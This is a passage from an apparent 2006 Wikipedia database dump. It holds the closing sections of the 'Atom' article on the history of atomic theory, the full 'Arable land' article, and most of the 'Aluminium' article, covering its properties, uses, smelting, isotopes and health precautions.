The experiment in question involved combining [[nitrous oxide]] (NO) with [[oxygen]] (O&lt;sub&gt;2&lt;/sub&gt;). In one combination, these gases formed [[dinitrogen trioxide]] (N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;), but when he repeated the combination with double the amount of oxygen (a ratio of 1:2), they instead formed [[nitrogen dioxide]] (NO&lt;sub&gt;2&lt;/sub&gt;).

4NO + O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; 2N&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;

4NO + 2O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; 4NO&lt;sub&gt;2&lt;/sub&gt;

Atomic theory conflicted with the theory of [[infinite divisibility]], which states that [[matter]] can always be divided into smaller parts. In 1827, biologist [[Robert Brown]] observed that pollen grains floating in water constantly jiggled about for no apparent reason. In 1905, [[Albert Einstein]] theorised that this [[Brownian motion]] was caused by the water molecules continuously knocking the grains about, and developed a mathematical theory around it. This theory was validated experimentally in 1911 by French physicist [[Jean Perrin]].

===Discovery of subatomic particles===

For much of this time, atoms were thought to be the smallest possible division of matter. However, in 1897, [[J.J. Thomson]] published his work proving that [[cathode ray]]s are made of negatively charged particles ([[electron]]s). Since cathode rays are emitted from matter, this proved that atoms are made up of [[subatomic particles]] and are therefore divisible, and not the indivisible ''atomos'' postulated by [[Democritus]]. Physicists later invented a new term for such indivisible units, &quot;[[elementary particle]]s&quot;, since the word atom had come into its common modern use.

===Study of atomic structure===

At first, it was believed that the electrons were distributed more or less uniformly in a sea of positive charge (the [[plum pudding model]]). However, an experiment conducted in 1909 by colleagues of [[Ernest Rutherford]] demonstrated that atoms have a most of their mass and positive charge concentrated in a [[nucleus]]. In the [[gold foil experiment]], [[alpha particle]]s (emitted by [[polonium]]) were shot through a sheet of [[gold]]. Rutherford observed that most of the particles passed straight through the sheet with little deflection (striking a [[fluorescence|fluorescent screen]] on the other side). About 1 in 8000 of the alpha particles, however, were heavily deflected (by more than 90 degrees). This led to the planetary model of the atom in which pointlike electrons orbited in the space around a massive compact nucleus like planets orbiting the Sun.

The nucleus was later discovered to contain [[proton]]s, and further experimentation by Rutherford found that the nuclear mass of most atoms surpassed that of the protons it possessed; this led him to postulate the existence of [[neutron]]s, whose existence would be proven in 1932 by [[James Chadwick]].

The planetary model of the atom still had shortcomings. Firstly, a moving [[electric charge]] emits [[electromagnetic wave]]s; according to [[classical electromagnetism]], an orbiting charge would steadily lose energy and spiral towards the nucleus, colliding with it in a tiny fraction of a second. Secondly, the model did not explain why excited atoms emit light only in certain [[emission spectrum|discrete spectra]].  

[[Quantum theory]] revolutionized physics at the beginning of the 20&lt;sup&gt;th&lt;/sup&gt; century when [[Max Planck]] and [[Albert Einstein]] postulated that light energy is emitted or absorbed in fixed amounts known as [[quanta]]. In 1913, [[Niels Bohr]] used this idea in his [[Bohr model]] of the atom, in which the electrons could only orbit the nucleus in particular circular orbits with fixed [[angular momentum]] and energy. They were not allowed to spiral into the nucleus, because they could not lose energy in a continuous manner; they could only make [[quantum leap]]s between fixed [[energy level]]s. Bohr's model was extended by [[Arnold Sommerfeld]] in 1916 to include elliptical orbits, using a quantization of [[generalized momentum]].

The ad hoc Bohr-Sommerfeld model was extremely difficult to use, but it made impressive predictions in agreement with certain spectral properties. However, the model was unable to explain multielectron atoms, predict [[transition rate]]s or describe [[fine structure|fine]] and [[hyperfine structure]]. In 1925, [[Erwin Schrödinger]] developed a full theory of quantum mechanics, described by the [[Schrödinger equation]]. Together with [[Wolfgang Pauli]]'s [[Pauli exclusion principle|exclusion principle]], this allowed study of atoms with great precision when digital computers became available. Even today, these theories are used in the [[Hartree-Fock]] [[quantum chemistry|quantum chemical]] method to determine the energy levels of atoms. Further refinements of quantum theory such as the [[Dirac equation]] and [[quantum field theory]] made smaller impacts on the theory of atoms.

Another model of historical interest, proposed by [[Gilbert N. Lewis]] in 1916, had [[cubical atom]]s with electrons statically held at the corners. The cubes could share edges or faces to form chemical bonds. This model was created to account for chemical phenomena such as bonding, rather than physical phenomena such as atomic spectra.

==See also==
* [[Atomism]]
* [[Basic quantum mechanics]]
* [[Chemical bond]]
* [[Exotic atom]]
* [[Infinite divisibility]]
* [[List of particles]]
* [[Radioactive isotope]]
* [[Superatom]]
* [[Super-heavy atom]]
* [[Transuranium element]]

==References==

* Kenneth S. Krane, ''Introductory Nuclear Physics'' (1987) 

== External links ==

* [http://www.howstuffworks.com/atom.htm How Atoms Work]
* [http://en.wikibooks.org/wiki/FHSST_Physics_Atom:The_Atom Wikibooks FHSST Physics Atom:The Atom]
* [http://en.wikibooks.org/wiki/Atomic_structure Wikibooks Atomic structure]

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    </revision>
  </page>
  <page>
    <title>Arable land</title>
    <id>903</id>
    <revision>
      <id>41774993</id>
      <timestamp>2006-03-01T17:37:10Z</timestamp>
      <contributor>
        <username>Rjgibb</username>
        <id>868299</id>
      </contributor>
      <minor />
      <comment>links</comment>
      <text xml:space="preserve">[[image:040719_172_dorset_marnhull.jpg|thumb|220px|Modern arable agriculture typically uses large [[field (agriculture)|fields]] like this one in [[Dorset]], [[England]].]]
In [[geography]], '''arable land''' (from [[Latin]] ''arare'', to [[plough]] ) is a form of [[agriculture|agricultural]] [[land use]], meaning [[land (economics)|land]] that can be (and is) used for growing [[agriculture|crops]].  [[David Ricardo]] incorporated the idea of arable land into [[economic]] [[theory]].

Of the earth's 57 million square miles (148,000,000&amp;nbsp;km&amp;sup2;) of land, more than 12 million square miles (31,000,000&amp;nbsp;km&amp;sup2;) are arable. 

Most of the arable land on earth is around the largest rivers on earth. Some examples are: the [[Nile]] River, the [[Tigris]] and [[Euphrates]] Rivers, the [[Yellow River]], the [[Amazon River]], the [[Ganges]] and the [[Rhine]] River. These rivers flood regularly, overspilling their banks. When the flood is over, the rivers recede, leaving behind rich [[silt]]. This silt is excellent fertilizer for [[crops]]. Even if the land is overfarmed, and all the [[nutrient]]s are depleted from the soil, the land renews its fertility when the next flood comes. Rivers and streams can make desert land arable. 

==Unarable land==

On unarable land, farming is nearly impossible unless more advanced methods of [[agriculture]] are used. Unarable land usually has no source of fresh water, and is often too hot (desert), too cold (arctic), too rocky, too mountainous, too salty, too rainy, too snowy, or too cloudy. Clouds block the sunlight plants need for [[photosynthesis]] (making sunlight into food). The plants starve without light. [[Starvation]] and [[nomad]]ism often exist on unarable land. Unarable land is sometimes called 'wastes', 'badlands', 'worthless' or 'no man's land'.

Sometimes, unarable land can be turned into arable land. New arable land makes more food, and can prevent [[starvation]], saving lives. This also makes the country more [[self-sufficient]] and politically independent, because the country doesn't have to buy food from other countries. Making unarable land arable often involves digging new irrigation canals and new wells, aquaducts, [[desalination]] plants, planting trees for shade in the desert, [[hydroponic]]s, fertilizer, nitrogen fertilizer, [[pesticide]]s, [[reverse osmosis]] water processors, [[mylar]] insulation or other insulation against heat and cold, digging ditches and hills for protection against the wind, and greenhouses with internal light and heat for protection against the cold outside and to provide light in cloudy areas.

Some examples of infertile '''unarable''' land being turned into fertile '''arable''' land are: 
* Aran Island: This island off the west coast of Ireland, (not to be confused with the [[Isle of Arran]] in [[Scotland]]'s [[Firth of Clyde]]), was unarable because it was too rocky. The people covered the island with a shallow layer of seaweed and sand from the ocean. This made it arable. Today, they grow crops there.
* [[Israel]]: Israel was mostly unarable desert until [[desalination]] plants were built on the coast. The plants turn salt water into fresh water for farming, drinking, and washing. They created their own large fresh water source.

Some examples of fertile '''arable''' land being turned into infertile '''unarable''' land are: 
* Droughts like the '[[dust bowl]]' of the [[Great Depression]] in the U.S. turned farmland into desert. 
* [[Rainforest]] Deforestation: The fertile tropical forests turn into infertile desert land.
* [[Roman Republic|Roman]]s' destruction of [[Carthage]]: At the end of the [[Punic War]]s, the victorious Romans sowed the earth with salt, to symbolize total victory. The Roman symbol meant that Carthage would never grow back - their civilization ended. Crops won't generally grow in salty soil. This is why salt water from the ocean can't be used to water crops. 
* Each year more arable land is lost to desertification and [[erosion]] from human industrial activities. Irrigation of farm land also increases the [[sodium]], [[calcium]], and [[magnesium]] in the soil. This process steadily concentrates salt in the ground, decreasing productivity for crops that are not salt-tolerant.
* [[Urban sprawl]]: In the United States, about 2.2 million acres (8,900 km²) of land was added to urban areas between 1992 and 2002, much of it farm land now paved.

== See also ==

*[[List of environment topics]]

==External links==

*[http://pages.prodigy.net/jhonig/bignum/qland2.html Surface Area of the Earth]
*[http://www.cnie.org/pop/conserving/landuse.htm Conserving Land: Population and Sustainable Food Production]

[[Category:Agriculture]]
[[Category:Horticulture]]</text>
    </revision>
  </page>
  <page>
    <title>Aluminium</title>
    <id>904</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42089447</id>
      <timestamp>2006-03-03T19:30:52Z</timestamp>
      <contributor>
        <username>UkPaolo</username>
        <id>269651</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.144.119.56|66.144.119.56]] ([[User talk:66.144.119.56|talk]]) to last version by Spaully</comment>
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{{Elementbox_isotopes_stable | mn=27 | sym=Al | na=100% | n=14 }}
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'''Aluminium''' or '''aluminum''' (see the [[#Spelling|spelling]] section below) is the chemical element in the periodic table that has the symbol '''Al''' and atomic number 13.  It is a silvery and ductile member of the [[poor metal]] group of [[chemical element]]s. Aluminium is found primarily as the ore [[bauxite]] and is remarkable for its resistance to corrosion (due to the phenomenon of [[passivation]]) and its light weight. Aluminium is used in many industries to make millions of different products and is very important to the [[world economy]]. Structural components made from aluminium and its alloys are vital to the [[aerospace]] industry and very important in other areas of [[transport]]ation and building in which light weight, durability, and strength are needed.

==Properties==
[[Image:Aluminum_Metal.jpg|thumb|left|A piece of aluminium metal about 15 centimetres long.]]
Aluminium is a soft and lightweight metal with a dull silvery appearance, due to a thin layer of [[oxidation]] that forms quickly when it is exposed to air. Aluminium is nontoxic (as the metal), non-magnetic, and non-sparking. Pure aluminium has a tensile strength of about 49 megapascals (MPa) and 400 MPa if it is formed into an alloy. Aluminium is about one-third as dense as [[steel]] or [[copper]]; is [[Malleability|malleable]], [[Ductility|ductile]], and easily machined and cast; and has excellent [[corrosion]] resistance and durability due to the protective oxide layer. Aluminium mirror finish has the highest reflectance of any metal in the 200-400 nm (UV) , and the 3000-10000 nm (far IR) regions, while in the 400-700 nm visible range it is slightly outdone by [[silver]], and in the 700-3000 (near IR) by silver, [[gold]] and copper. It is the second most malleable metal (after gold) and the sixth most [[ductile]]. Aluminium is a good heat [[conductor]] which is why it is used to make saucepans.
[[Image:Bohr2.gif|thumb|Caption|[[Bohr]] Diagram.]]

==Applications==
Whether measured in terms of quantity or value, the use of aluminium exceeds that of any other metal except [[iron]], and it is important in virtually all segments of the world economy.

Pure aluminium has a low [[tensile strength]], but readily forms [[alloy]]s with many elements such as copper, zinc, magnesium, manganese and silicon (e.g.[[duralumin]]). Today almost all materials that claim to be aluminium are actually an alloy thereof. Pure aluminium is encountered only when corrosion resistance is more important than strength or hardness. Conversely, the term &quot;alloy&quot; in general use today usually means aluminium alloy.

When combined with thermo-mechanical processing aluminium [[alloy]]s display a marked improvement in mechanical properties. Aluminium alloys form vital components of [[aircraft]] and [[rocket]]s as a result of their high strength to weight ratio. 

When aluminium is evaporated in a [[vacuum]] it forms a coating that reflects both [[visible light]] and [[infrared]]. These coatings form a thin layer of protective aluminium oxide that does not deteriorate as [[silver]] coatings do. In particular, nearly all modern [[mirror]]s are made using a thin reflective coating of aluminium on the back surface of a sheet of [[float glass]]. [[Telescope]] mirrors are also coated with a thin layer of aluminium, but are front coated to avoid internal reflections even though this makes the surface more susceptible to damage.


[[Image:Diet Coke.jpg|thumb|150px|left|An [[aluminium can]] used for the [[soft drink]] [[Diet Coke]].]]
Some of the many uses for aluminium are in:
*Transportation ([[automobile]]s, [[airplane]]s, [[truck]]s, [[railroad car]]s, marine vessels, [[bicycle]]s etc.)
*Packaging ([[aluminum can|cans]], [[aluminium foil|foil]], etc.)
*Water treatment
*Construction ([[window]]s, [[door]]s, siding, building wire, etc.
*Consumer durable goods (appliances, [[cooking utensil]]s, etc.)
*[[electricity|Electrical]] [[transmission lines]] (aluminium components and wires are less dense than those made of copper and are lower in price [http://www.metalprices.com], but also present higher electrical resistance.  Many localities prohibit the use of aluminum in residential wiring practices because of its higher resistance and thermal expansion value.)
*Machinery
*[[MKM steel]] and [[Alnico]] magnets, although non-[[magnet]]ic itself
*Super purity aluminium (SPA, 99.980% to 99.999% Al), used in electronics and [[compact disc|CD]]s.
*[[Powder]]ed aluminium, a commonly used [[silvering]] agent in [[paint]]. Aluminium flakes may also be included in undercoat paints, particularly wood [[primer (paint)|primer]] &amp;mdash; on drying, the flakes overlap to produce a water resistant barrier.
*[[Anodising|Anodised]] aluminium is more stable to further oxidation, and is used in various fields of construction, as well as [[heat sink]]ing.
*Most electronic appliances that require cooling of their internal devices (like transistors, [[Central processing unit|CPU]]s - semiconductors in general) have [[heat sink]]s that are made of aluminium due to its ease of manufacture and good heat conductivity. [[Copper]] heat sinks are smaller although more expensive and harder to manufacture.

*Aluminium oxide, [[alumina]], is found naturally as [[corundum]] ([[ruby|rubies]] and [[sapphire]]s), [[emery (mineral)|emery]], and is used in [[glass]] making. Synthetic ruby and sapphire are used in [[laser]]s for the production of [[coherent light]].

*Aluminium oxidises very energetically and as a result has found use in [[solid rocket]] fuels, [[thermite]], and other [[pyrotechnic]] compositions.

Aluminium is also a [[superconductor]], with a superconducting critical temperature of 1.2 [[kelvin]]s.

===Engineering use===
Aluminium alloys with a wide range of properties are used in engineering structures. Alloy systems are classified by a number system ([[ANSI]]) or by names indicating their main alloying constituents ([[DIN]] and [[ISO]]). Selecting the right alloy for a given application entails considerations of strength, [[ductility]], formability, [[weldability]] and [[corrosion]] resistance to name a few. A brief historical overview of alloys and manufacturing technologies is given in Ref. &lt;ref name=sanders&gt;R.E. Sanders, Technology Innovation in Aluminum Products, ''The Journal of The Minerals'', 53(2):21-25, 2001. [http://www.tms.org/pubs/journals/JOM/0102/Sanders-0102.html Online ed.]&lt;/ref&gt;.

Improper use of aluminium can result in problems, particularly in contrast to [[iron]] or [[steel]], which appear &quot;better behaved&quot; to the intuitive designer, mechanic, or technician. The reduction by two thirds of the weight of an aluminium part compared to a similarly sized iron or steel part seems enormously attractive, but it should be noted that it is accompanied by a reduction by two thirds in the stiffness of the part. Therefore, although direct replacement of an iron or steel part with a duplicate made from aluminium may still give acceptable strength to withstand peak loads, the increased flexibility will cause three times more deflection in the part. 

Where failure is not an issue but excessive flex is undesirable due to requirements for precision of location or efficiency of transmission of power, simple replacement of steel tubing with similarly sized aluminium tubing will result in a degree of flex which is undesirable; for instance, the increased flex under operating loads caused by replacing steel bicycle frame tubing with aluminium tubing of identical dimensions will cause misalignment of the power-train as well as absorbing the operating force. To increase the rigidity by increasing the thickness of the walls of the tubing increases the weight proportionately, so that the advantages of lighter weight are lost as the rigidity is restored. 

Aluminium can best be used by redesigning the part to suit its characteristics; for instance making a bicycle of aluminium tubing which has an oversize diameter rather than thicker walls. In this way, rigidity can be restored or even enhanced without increasing weight. The limit to this process is the increase in susceptibility to what is termed &quot;[[buckling]]&quot; failure, where the deviation of the force from any direction other than directly along the axis of the tubing causes folding of the walls of the tubing. 

The latest models of the [[Corvette]] automobile, among others, are a good example of redesigning parts to make best use of aluminium's advantages. The aluminium chassis members and suspension parts of these cars have large overall dimensions for stiffness but are lightened by reducing cross-sectional area and removing unneeded metal; as a result, they are not only equally or more durable and stiff as the usual steel parts, but they possess an airy gracefulness which most people find attractive. Similarly, aluminium bicycle frames can be optimally designed so as to provide rigidity where required, yet have flexibility in terms of absorbing the shock of bumps from the road and not transmitting them to the rider.

The strength and durability of aluminium varies widely, not only as a result of the components of the specific alloy, but also as a result of the particular manufacturing process; for this reason, it has from time to time gained a bad reputation. For instance, a high frequency of failure in many early aluminium bicycle frames in the [[1970]]s resulted in just such a poor reputation; with a moment's reflection, however, the widespread use of aluminium components in the [[aerospace]] and automotive high performance industries, where huge stresses are undergone with vanishingly small failure rates, proves that properly built aluminium bicycle components should not be unusually unreliable, and this has subsequently proved to be the case. 

Similarly, use of aluminium in automotive applications, particularly in engine parts which must survive in difficult conditions, has benefited from development over time. An [[Audi]] engineer commented about the V12 engine, producing over 500 horsepower (370 kW), of an [[Auto Union#The Auto Union racing cars |Auto Union race car]] of the [[1930s]] which was recently restored by the Audi factory, that the aluminium alloy of which the engine was constructed would today be used only for lawn furniture and the like. Even the aluminium [[cylinder head]]s and [[crankcase]] of the [[Corvair]], built as recently as the [[1960s]], earned a reputation for failure and stripping of [[thread]]s in holes, even as large as [[spark plug]] holes, which is not seen in current aluminium cylinder heads.

Often, aluminium's sensitivity to heat must also be considered. Even a relatively routine workshop procedure involving heating is complicated by the fact that aluminium, as opposed to steels, will melt without first turning red. Forming operations where a [[blow torch]] is used therefore requires some expertise since no visual signs reveal how close the material is to melting.  Aluminium also will accumulate internal stresses and strains under conditions of overheating; while not immediately obvious, the tendency of the metal to &quot;creep&quot; under sustained stresses results in delayed distortions, for instance the commonly observed warping or cracking of aluminium automobile cylinder heads after an engine is overheated, sometimes as long as years later, or the tendency of welded aluminium bicycle frames to gradually twist out of alignment from the stresses accumulated during the welding process. For this reason, many uses of aluminium in the aerospace industry avoid heat altogether by joining parts using [[adhesive]]s; this was also used for some of the early aluminium bicycle frames in the 1970s, with unfortunate results when the aluminium tubing corroded slightly, loosening the bond of the adhesive and leading to failure of the frame. Stresses from overheating aluminium can be relieved by heat-treating the parts in an oven and gradually cooling, in effect [[annealing (metallurgy)|annealing]] the stresses; this can also result, however, in the part becoming distorted as a result of these stresses, so that such heat-treating of welded bicycle frames, for instance, results in a significant fraction becoming misaligned. If the misalignment is not too severe, once cooled they can be bent back into alignment with no negative consequences; of course, if the frame is properly designed for rigidity (see above), this will require enormous force. 

====Household wiring====
Because of its high conductivity and relatively low price compared to [[copper]] at the time, aluminium was introduced for household electrical wiring to a large degree in the United States in the 1960s. Unfortunately, many of the wiring fixtures at the time were not designed to accept aluminium wire. More specifically:

* The greater [[coefficient of thermal expansion]] of aluminium, causes the wire to expand and contract relative to the dissimilar metal [[screw]] connection, eventually loosening the connection.  

* Pure aluminium has a tendency to &quot;creep&quot; under steady sustained pressure (to a greater degree as the temperature rises), again producing a degree of looseness in an initially tight connection.

* [[Galvanic cell#Galvanic corrosion|Galvanic corrosion]] from the dissimilar metals increases the electrical resistance of the connection. 

In combination, these properties caused connections between electrical fixtures and aluminium wiring to overheat which resulted in several fires. As a result, aluminium household wiring has become unpopular, and in many jurisdictions it is not permitted in very small sizes in new construction. However, aluminium wiring can be safely used with fixtures whose connections are designed to avoid loosening and overheating. Older fixtures of this type are marked &quot;Al/Cu&quot;, and newer ones are marked &quot;CO/ALR&quot;.  Otherwise, aluminium wiring can be terminated by [[crimp (metalworking)|crimping]] it to a short &quot;[[pigtail]]&quot; of copper wire, which can be treated as any other copper wire. A properly done crimp, requiring high pressure produced by the proper tool, is tight enough not only to eliminate any thermal expansion of the aluminium, but also to exclude any atmospheric oxygen and thus prevent corrosion between dissimilar metals. New alloys are used for aluminium building wire today in combination with aluminium terminations. Connections made with these standard industry products are as safe and reliable as copper connections.

:''See also'':[[Aluminium wire]]

==History==
The ancient [[Ancient Greece|Greeks]] and [[Ancient Rome|Romans]] used salts of this metal as dyeing [[mordant]]s and as astringents for dressing wounds, and [[alum]] is still used as a [[styptic]]. Further [[Joseph Needham]] suggested finds in 1974 showed the ancient Chinese used aluminium (''see &quot;notes&quot; linked above''). In 1761 [[Guyton de Morveau]] suggested calling the base alum 'alumine'. In 1808, [[Humphry Davy]] identified the existence of a metal base of alum, which he named (''see [[#Spelling|Spelling]] section'').

[[Friedrich Woehler|Friedrich Wöhler]] is generally credited with isolating aluminium ([[Latin]] ''alumen'', [[alum]]) in 1827 by mixing anhydrous aluminium chloride with potassium. However, the metal had been produced for the first time two years earlier in an impure form by the Danish physicist and chemist [[Hans Christian Ørsted]]. Therefore almanacs and chemistry sites often list Ørsted as the discoverer of aluminium.[http://www.chemicalelements.com/elements/al.html#isotopes] Still it would further be P. Berthier who discovered aluminium in bauxite ore and successfully extracted it. The Frenchman [[Henri Saint-Claire Deville]] improved Wöhler's method in 1846 and described his improvements in a book in 1859, chief among these being the substitution of sodium for the considerably more expensive potassium.

The American [[Charles Martin Hall]] of [[Oberlin, OH]] applied for a [[patent]] (400655) in 1886 for an electrolytic process to extract aluminium using the same technique that was independently being developed by the Frenchman [[Paul Héroult]] in Europe. The invention of the [[Hall-Heroult process|Hall-Héroult process]] in 1886 made extracting aluminium from minerals cheaper, and is now the principal method in common use throughout the world. The Hall-Heroult process cannot produce Super Purity Aluminium directly. Upon approval of his patent in 1889, Hall, with the financial backing of [[Alfred E. Hunt]] of [[Pittsburgh, PA]], started the Pittsburgh Reduction Company, renamed to Aluminum Company of America in 1907, later shortened to [[Alcoa]].

[[Image:Eros-piccadilly-circus.jpg|thumb|right|The statue known as ''Eros'' in [[Piccadilly Circus]] London, was made in 1893 and is one of the first statues to be cast in aluminium.]] Aluminium was selected as the material to be used for the apex of the [[Washington Monument]], at a time when one [[ounce]] cost twice the daily wages of a common worker in the project. [http://www.tms.org/pubs/journals/JOM/9511/Binczewski-9511.html]

Germany became the world leader in aluminium production soon after [[Adolf Hitler]] seized power. By 1942, however, new hydroelectric power projects such as the [[Grand Coulee Dam]] gave the United States something Nazi Germany could not hope to compete with, namely the capability of producing enough aluminium to manufacture sixty thousand warplanes in four years. [http://www.phpsolvent.com/wordpress/?page_id=341]

==Natural occurrence==
Although aluminium is the most abundant metallic element in Earth's crust (believed to be 7.5% to 8.1%), it is very rare in its free form and was once considered a [[precious metal]] more valuable than [[gold]]. [[Napoleon III of France]] had a set of aluminium plates reserved for his finest guests. Others had to make do with gold ones. Aluminium has been produced in commercial quantities for just over 100 years.

Aluminium was, when it was first discovered, extremely difficult to separate from its ore. Aluminium is among the most difficult metals on Earth to refine, despite the fact that it is one of the planet's most common. The reason is that aluminium is oxidised very rapidly and that its oxide is an extremely stable compound that, unlike rust on iron, does not flake off. The very reason for which aluminium is used in many applications is why it is so hard to produce.

Recovery of this metal from scrap (via [[recycling]]) has become an important component of the aluminium industry. Recycling involves simply melting the metal, which is far less expensive than creating it from ore. Refining aluminium requires enormous amounts of [[electricity]]; recycling it requires only 5% of the energy to produce it. A common practice since the early [[20th century|1900s]], aluminium recycling is not new. It was, however, a low-profile activity until the late 1960s when the exploding popularity of aluminium [[beverage can]]s finally placed recycling into the public consciousness. Other sources for recycled aluminium include automobile parts, windows and doors, appliances, containers and other products.

Aluminium is a reactive metal and it is hard to extract it from its ore, [[aluminium oxide]] (Al&lt;sub&gt;2&lt;/sub&gt;[[oxygen|O]]&lt;sub&gt;3&lt;/sub&gt;). Direct reduction, with [[carbon]] for example, is not economically viable since aluminium oxide has a melting point of about 2000 °C. Therefore, it is extracted by [[electrolysis]] &amp;mdash; the aluminium oxide is dissolved in molten [[cryolite]] and then reduced to the pure metal. By this process, the actual operational temperature of the reduction cells is around 950 to 980 °C. Cryolite was originally found as a mineral on Greenland, but has been replaced by a synthetic cryolite. Cryolite is a mixture of aluminium, [[sodium]], and [[calcium]] [[fluoride]]s: (Na&lt;sub&gt;3&lt;/sub&gt;AlF&lt;sub&gt;6&lt;/sub&gt;). The aluminium oxide (a white powder) is obtained by refining [[bauxite]], which is red since it contains 30 to 40% iron oxide. This is done using the so-called [[Bayer process]]. Previously, the [[Deville process]] was the predominant refining technology. 

The electrolytic process replaced the [[Wöhler process]], which involved the reduction of anhydrous [[aluminium chloride]] with [[potassium]]. Both of the [[electrode]]s used in the electrolysis of aluminium oxide are [[carbon]]. Once the ore is in the molten state, its ions are free to move around. The reaction at the negative [[cathode]] is
:Al&lt;sup&gt;3+&lt;/sup&gt; + 3 e&lt;sup&gt;-&lt;/sup&gt; &amp;rarr; Al

Here the aluminium ion is being reduced (electrons are added). The aluminium metal then sinks to the bottom and is tapped off.

At the positive electrode ([[anode]]) oxygen gas is formed:
:2 O&lt;sup&gt;2-&lt;/sup&gt; &amp;rarr; O&lt;sub&gt;2&lt;/sub&gt; + 4 e&lt;sup&gt;-&lt;/sup&gt;

This carbon [[anode]] is then oxidised by the oxygen. The anodes in a reduction must therefore be replaced regularly, since they are consumed in the process:
:O&lt;sub&gt;2&lt;/sub&gt; + C &amp;rarr; CO&lt;sub&gt;2&lt;/sub&gt;

Contrary to the anodes, the cathodes are not consumed during the operation, since there is no oxygen present at the cathode. The carbon cathode is protected by the liquid aluminium inside the cells. Cathodes do erode, mainly due to electrochemical processes. After 5 to 10 years, depending on the current used in the electrolysis, a cell has to be reconstructed completely, because the cathodes are completely worn.

Aluminium [[electrolysis]] with the [[Hall-Héroult]] process consumes a lot of energy, but alternative processes were always found to be less viable economically and/or ecologically. The world-wide average specific energy consumption is approximately 15±0.5 [[kilowatt-hour]]s per kilogram of aluminium produced (52 to 56 [[megajoule|MJ]]/kg). The most modern smelters reach approximately 12.8 kW·h/kg (46.1 MJ/kg). Reduction line current for older technologies are typically 100 to 200 kA. State-of-the-art smelters operate with about 350 kA. Trials have been reported with 500 kA cells.

Electric power represents about 20 to 40% of the cost of producing aluminium, depending on the location of the aluminium smelter. Smelters tend to be located where electric power is plentiful and inexpensive, such as [[South Africa]], the [[South Island]] of [[New Zealand]], [[Australia]], [[China]], [[Middle-East]], [[Russia]], [[Iceland]] and [[Quebec]] in [[Canada]].

In 2004, [[China]] was the top world producer of aluminium. [[Suriname]] depends on aluminium exports for 70% of its export earnings.[http://www.cia.gov/cia/publications/factbook/geos/ns.html#Econ]
; see also [[:category:Aluminium minerals]]

==Isotopes==
Aluminium has nine [[isotope]]s, whose mass numbers range from 23 to 30. Only &lt;sup&gt;27&lt;/sup&gt;Al ([[stable isotope]]) and &lt;sup&gt;26&lt;/sup&gt;Al ([[radioactive_decay|radioactive]] isotope, [[half life|''t''&lt;sub&gt;1/2&lt;/sub&gt;]] = 7.2 &amp;times; 10&lt;sup&gt;5&lt;/sup&gt; [[year|y]]) occur naturally, however &lt;sup&gt;27&lt;/sup&gt;Al has a natural abundance of 100%.  &lt;sup&gt;26&lt;/sup&gt;Al is produced from [[argon]] in the [[Earth's atmosphere|atmosphere]] by [[spallation]] caused by [[cosmic-ray]] [[proton]]s. Aluminium isotopes have found practical application in dating [[ocean|marine]] sediments, [[manganese]] nodules, glacial ice, [[quartz]] in [[Rock (geology)|rock]] exposures, and [[meteorite]]s. The ratio of &lt;sup&gt;26&lt;/sup&gt;Al to &lt;sup&gt;10&lt;/sup&gt;[[beryllium|Be]] has been used to study the role of transport, deposition, [[sediment]] storage, burial times, and erosion on 10&lt;sup&gt;5&lt;/sup&gt; to 10&lt;sup&gt;6&lt;/sup&gt; year time scales.

[[Cosmogenic]] &lt;sup&gt;26&lt;/sup&gt;Al was first applied in studies of the [[Moon]] and meteorites. Meteorite fragments, after departure from their parent bodies, are exposed to intense cosmic-ray bombardment during their travel through space, causing substantial &lt;sup&gt;26&lt;/sup&gt;Al production. After falling to Earth, atmospheric shielding protects the meteorite fragments from further &lt;sup&gt;26&lt;/sup&gt;Al production, and its decay can then be used to determine the meteorite's terrestrial age. Meteorite research has also shown that &lt;sup&gt;26&lt;/sup&gt;Al was relatively abundant at the time of formation of our planetary system. Possibly, the energy released by the decay of &lt;sup&gt;26&lt;/sup&gt;Al was responsible for the remelting and [[planetary differentiation|differentiation]] of some [[asteroids]] after their formation 4.6 billion years ago.

===Clusters===
In the journal ''[[Science (journal)|Science]]'' of [[14 January]] [[2005]] it was reported that clusters of 13 aluminium atoms (Al&lt;sub&gt;13&lt;/sub&gt;) had been made to behave like an [[iodine]] atom; and, 14 aluminium atoms (Al&lt;sub&gt;14&lt;/sub&gt;) behaved like an [[alkaline earth]] atom. The researchers also bound 12 iodine atoms to an Al&lt;sub&gt;13&lt;/sub&gt; cluster to form a new class of polyiodide. This discovery is reported to give rise to the possibility of a new characterisation of the [[periodic table]]: [[superatom]]s. The research teams were led by Shiv N. Khanna ([[Virginia Commonwealth University]]) and A. Welford Castleman Jr ([[Penn State University]]). [http://www.science.psu.edu/alert/Castleman1-2005.htm]

==Precautions==
Aluminium is one of the few abundant elements that appears to have no beneficial function in living cells, but a few percent of people are allergic to it &amp;mdash; they experience [[contact dermatitis]] from any form of it: an itchy [[rash]] from using [[styptic]] or antiperspirant products, digestive disorders and inability to absorb nutrients from eating food cooked in aluminium pans, and vomiting and other symptoms of poisoning from ingesting such products as [[Rolaids]] , Amphojel, and [[Maalox]] ([[antacid]]s). In other people, aluminium is not considered as toxic as heavy metals, but there is evidence of some toxicity if it is consumed in excessive amounts, although the use of aluminium cookware, popular because of its corrosion resistance and good [[heat conduction]], has not been shown to lead to aluminium toxicity in general. Excessive consumption of [[antacid]]s containing aluminium compounds and excessive use of aluminium-containing [[antiperspirant]]s are more likely causes of [[toxicity]]. It has been suggested that aluminium may be linked to [[Alzheimer's disease]], although that research has recently been refuted; aluminium accumulation may be a consequence of the Alzheimer's damage, not the cause. In any event, if there is any toxicity of aluminium it must be via a very specific mechanism, since total human exposure to the element in the form of naturally occurring clay in soil and dust is enormously large over a lifetime.

Care must be taken to prevent aluminium from coming into contact with certain chemicals that can cause it to [[corrode]] quickly. For example, just a small amount of [[Mercury (element)|mercury]] applied to the surface of a piece of aluminium can break up the aluminium oxide barrier usually present. Within a few hours, even a heavy structural beam can be significantly weakened. For this reason, mercury [[thermometer]]s are not allowed on many [[airliner]]s, as aluminium is a common structural component in aircraft.

==Spelling==
===Etymology/Nomenclature history===
